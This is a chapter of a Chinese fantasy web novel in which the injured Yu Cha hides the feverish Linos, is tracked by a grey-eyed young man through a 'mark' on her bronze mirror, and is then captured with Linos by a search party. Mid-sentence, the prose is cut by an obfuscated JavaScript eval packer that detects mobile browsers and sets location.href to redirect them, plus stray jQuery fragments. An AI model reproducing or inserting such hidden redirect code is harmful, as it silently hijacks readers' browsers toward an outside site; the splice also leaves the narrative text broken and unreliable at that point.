月光冷冷地照着,将山林切割成银白与深黑的碎片。余茶靠坐在岩石上,利诺斯的头枕在她膝上,一动不动。她能感觉到他微弱的呼吸透过破烂的衣物传来,带着血腥和泥土的气味,还有一丝若有若无的体温。那体温正在缓慢流失。
她不能让他死在这里。
这个念头如此清晰、如此不容置疑,以至于她自己都愣了一下,但她没有继续想下去。没有时间,也没有力气。
她抬头看向四周。月光下的山林寂静得可怕,只有远处隐约的海浪声和近处不知名夜虫的偶尔鸣叫。他们所在的这片山坡相对开阔,身后是他们爬出的那道岩缝,已经被藤蔓和灌木半掩,若不仔细搜索,很难发现。前方是通向山脊的路,两侧是陡峭的斜坡,斜坡上长满了低矮的灌木和嶙峋的岩石。
必须找个更隐蔽的地方藏身。这里虽然暂时安全,但天亮之后,搜捕队很可能会搜索到这片区域。而且——
她下意识地摸了摸怀中的铜镜。夔龙纹在月光下幽深如故,冰冷如故。那个声音说,她已经被标记了。那很可能会有未知的危险,正在循着某种她无法感知的痕迹,一步步接近。
不能久留。
她低头看向利诺斯。他的脸色苍白如纸,嘴唇毫无血色,左腿的伤口还在渗血,染红了身下的苔藓。她不懂医术,但常识告诉她,如果不尽快止血、保暖、补充水分,他撑不过今晚。
她的目光落在他腰间——那把卷刃的短剑不知何时已经丢失了,但他破烂的衣物里似乎还有什么东西鼓起。她伸手摸了摸,掏出来的是一小块烤熟的块茎,已经压扁了,沾着血污和泥土。
是他之前在森林里找到的?一直留着?
余茶盯着那块块茎,喉咙里涌起一阵酸涩。她掰下一小块,塞进自己嘴里,机械地咀嚼,然后强迫自己咽下去。粗糙的淀粉划过着食道,带来一丝微弱的热量。她又掰下一小块,捏开利诺斯的嘴,将食物塞进去,轻轻按压他的喉咙,帮助他吞咽。
她不知道自己这样做有没有用。但她必须做点什么。
喂完那块块茎,她开始检查利诺斯的伤口。左腿的骨折早已错位,血肉模糊的伤口边缘已经开始发黑——那是坏死的征兆。她没有药物,没有工具,甚至没有干净的布条可以重新包扎。她只能撕下自己破烂的衣襟,将那狰狞的伤口紧紧勒住,尽可能地止血。
利诺斯在昏迷中发出一声压抑的闷哼,眉头紧锁,但没有醒来。
余茶做完这一切,已经气喘吁吁,冷汗浸透了后背。她靠回岩石,闭上眼睛,试图在混乱的意识中理出一条可行的路。
往哪里走?怎么走?她和利诺斯两个濒死的废人,带着被标记的铜镜和碎片,被搜捕队追踪……
她突然睁开眼。
铜镜。
她将铜镜从怀中取出,放在月光下仔细端详。夔龙纹在月光下显得格外清晰——那盘曲的身体、独足、张口吞日的姿态,与爱琴海任何纹饰都截然不同。镜背边缘的三圈铭文依旧模糊,但在这个距离、这个角度,她似乎能分辨出最外圈那些类似甲骨文的刻痕中,有几个反复出现的符号。
她将那些符号的形状深深烙印在脑海里。也许以后有用——如果还有“以后”的话。
就在她盯着铜镜时,镜面突然闪过一丝极其微弱的、几乎难以察觉的暗金色流光。
余茶一惊,然后死死盯着镜面。
流光再次出现,是一种极其微弱的、如同垂死者最后一丝心跳般的脉动。那脉动极其缓慢,大约每隔十几息才闪烁一次,而且越来越弱,越来越暗,仿佛随时都会彻底熄灭。
这不是在主动示警或共鸣。这是……铜镜耗尽能量前的最后一次挣扎?
余茶想起那个声音的话:“凭证已被标记……”
难道铜镜正在用自己的力量对抗那个标记,而这场对抗正在耗尽它最后的能量?
那她必须尽快做出决定。
她将铜镜重新塞进怀里,用破烂的衣物裹紧。然后,艰难地挪动身体,从怀中再次拿出那根系过两人的布条。布条上沾满了血,但还算结实。
她用布条将自己和利诺斯再次绑在一起——这一次,是她背着他。
左脚完全无法用力,她只能用右腿和双手,一点一点地,拖着两个人的身体,向山坡更高处、林木更茂密的地方挪去。
每挪动一步,左腿的残肢就传来一阵撕裂般的剧痛。但她咬紧牙关,一声不吭。汗水模糊了视线,泪水不知何时也混了进来,但她顾不上擦。
身后,利诺斯沉重的身体压在她背上,每一次呼吸都带着滚烫的、不祥的热度——他在发烧。这是伤口感染的前兆。
必须更快。
不知挪了多久,她终于找到了一处相对隐蔽的凹陷——两块巨大的岩石交错形成的天然缝隙,缝隙口被茂密的灌木丛半掩,内部勉强可容两人蜷缩。她将利诺斯拖进缝隙,然后瘫倒在他旁边,大口喘息,眼前阵阵发黑。
月光透过灌木的缝隙,在缝隙内投下斑驳的碎影。远处,海浪声依旧。山林寂静。
她闭上眼睛。
就在这时——
一阵极其轻微、几乎被风声淹没的窸窣声,从远处传来。
是脚步声。极其谨慎、极其轻盈、但确实存在的脚步声。而且不止一个人。
余茶猛地睁开眼,心跳几乎停滞。
她屏住呼吸,侧耳倾听。
脚步声越来越近。从山脊的方向传来,正在向这片山坡靠近。月光下,隐约可见几道黑影,正沿着她刚才经过的路径,缓缓搜索前进。
是搜捕队?还是……
为首的那道黑影,在月光下突然停住了。他抬起头,露出一张年轻、苍白、五官深刻的脸——以及一双在月光下闪烁着冰冷光泽的冰灰色眼睛。
一个危险的年轻人。
年轻人缓缓扫视四周,最后,他的目光,精准地落在余茶和利诺斯藏身的这片灌木丛方向。
他嘴角勾起一丝弧度。
“找到你了。”
那声音极轻,但在寂静的夜里,如同冰锥刺入耳膜。
余茶下意识地抱紧了怀中的铜镜,另一只手死死捂住自己的嘴,不让自己发出任何声音。利诺斯依旧昏迷,呼吸滚烫而沉重,但此刻那呼吸声在她听来,如同擂鼓般震耳。
年轻人抬起手——那只手中,握着那块暗蓝色的金属薄片。薄片边缘流转着诡异的光晕,光晕的每一次闪烁,都指向余茶所在的方向。
“标记……果然在这里。”
他迈步,向灌木丛走来。
余茶闭上眼睛。
完了。
这个念头平静得可怕。没有恐惧,没有不甘,只有一种近乎麻木的、终于到来的解脱感。她太累了。从逃出洞穴的那一刻起,她就已经透支了所有的力气和意志。现在,她真的撑不下去了。
身后,利诺斯的呼吸依旧滚烫。
她松开捂着嘴的手,转过身,最后一次看着他那张在月光下苍白的脸。他的眉头紧锁,即使在昏迷中也无法放松。
她伸出手,轻轻拂去他额头上沾着的草叶。
然后,她深吸一口气,用尽最后的力气,猛地推开利诺斯,将他推向缝隙更深处。她自己则挣扎着撑起身体,向缝隙口爬去。
她不知道这样做有没有用。她只知道,如果那个年轻人追踪的是标记,而她就是标记本身,那么只要她离开利诺斯,至少——
至少他还有一线生机。
她爬出缝隙,暴露在月光下。
年轻人停住了。冰灰色的眼睛盯着她,带着一丝玩味。
“哦?”他的声音依旧很轻,“主动出来?还是……想引开我?”
余茶没有回答。她只是死死盯着他,手指抠进泥土,指甲断裂渗
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17226108|197565||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
血,却感觉不到任何疼痛。
年轻人缓缓走近,月光在他身后拖出长长的影子。
“有意思。”他说,“一个被标记的、濒死的女人,拖着一条废腿,从裂隙深处爬出来,身上还带着……”他的目光落在余茶怀中那面露出半角的铜镜上,瞳孔微微一缩,“果然是守视者的凭证。”
他伸出手:“交出来。我可以让你死得痛快一点。”
余茶没有说话。她只是将铜镜抱得更紧。
年轻人眼中闪过一丝不耐烦。他抬起手中的金属薄片,薄片边缘的光芒骤然变得明亮——
就在这一刻!
一阵尖锐的、刺耳的嗡鸣,从余茶怀中的铜镜上骤然爆发!
不是之前那种微弱的脉动,而是一种狂暴的、如同垂死挣扎的野兽最后的怒吼。铜镜猛然发烫,夔龙纹在月光下迸射出刺眼的暗金色光芒!那光芒如同一道利剑,直刺向年轻人手中的金属薄片!
年轻人脸色一变,急速后退!但他手中的薄片与铜镜的光芒碰撞的瞬间,一股无形的冲击波轰然扩散,周围的灌木被压倒一片。年轻人踉跄后退数步,脸色苍白,嘴角溢出一缕鲜血。
铜镜的光芒只持续了短短一瞬,随即彻底熄灭。
余茶怀中的铜镜,变得冰冷如死灰。夔龙纹依旧,但再也没有任何光泽。
年轻人擦去嘴角的血,冰灰色的眼睛里第一次露出真正的杀意。
“找死。”
他大步向余茶走来,手中的金属薄片再次亮起——
就在这时!
一阵急促的脚步声从山脊方向传来,伴随着火把的光芒和人声的嘈杂。
“那边!有动静!”
“快!包围过去!”
是搜捕队!克里同的人!
年轻人猛地停住,回头看向越来越近的火光和嘈杂声。他的眉头皱起,眼中闪过一丝厌恶和权衡。
然后,他冷冷地看了余茶一眼。
“运气不错。”他低声说,“但标记还在。你逃不掉。”
说完,他身形一闪,如同鬼魅般消失在黑暗的山林之中。
火把的光芒越来越近。人声嘈杂。
余茶瘫在地上,怀抱着彻底沉寂的铜镜,看着那群越来越近的士兵,突然发出一声沙哑的、近乎崩溃的笑。
她又一次活了下来。
以一种她完全无法理解、完全无法掌控的方式。
但代价是什么?
铜镜沉寂了。它最后的力量,用来为她挡下了那致命的一击。
她低头看着那面冰冷的镜子,看着上面沉默的夔龙纹,眼泪终于无声地涌出。
身后,缝隙深处,利诺斯的呼吸依旧滚烫。
火把的光芒照亮了她的脸。
搜捕队的队长走上前,居高临下地看着这个浑身血污、左腿已废、怀抱铜镜的女人。
“还有一个!”有人喊道,“缝隙里!还活着!”
队长挥了挥手:“都带走。克里同要活的。”
余茶没有反抗。她早已没有力气反抗。
她被拖起来,铜镜被从她怀中粗暴地夺走。她下意识地伸手想抓住,却只抓到一把空气。
铜镜落入队长手中。队长看了看那古朴的纹路,眼中闪过一丝贪婪的光芒。
“好东西。”他低声说,“克里同会很高兴。”
余茶被拖走。身后,利诺斯也被从缝隙中拖了出来,像一具尸体般毫无反应。
月光冷冷地照着,照着这片狼藉的山坡,照着那面被夺走的夔龙纹铜镜,照着两个被拖向未知命运的濒死者。
远处,山林的阴影里,一双冰灰色的眼睛默默注视着这一切。
年轻人嘴角勾起一丝冰冷的弧度。
“标记……还在。”
他转身,消失在黑暗之中。
只剩月光,亘古如常。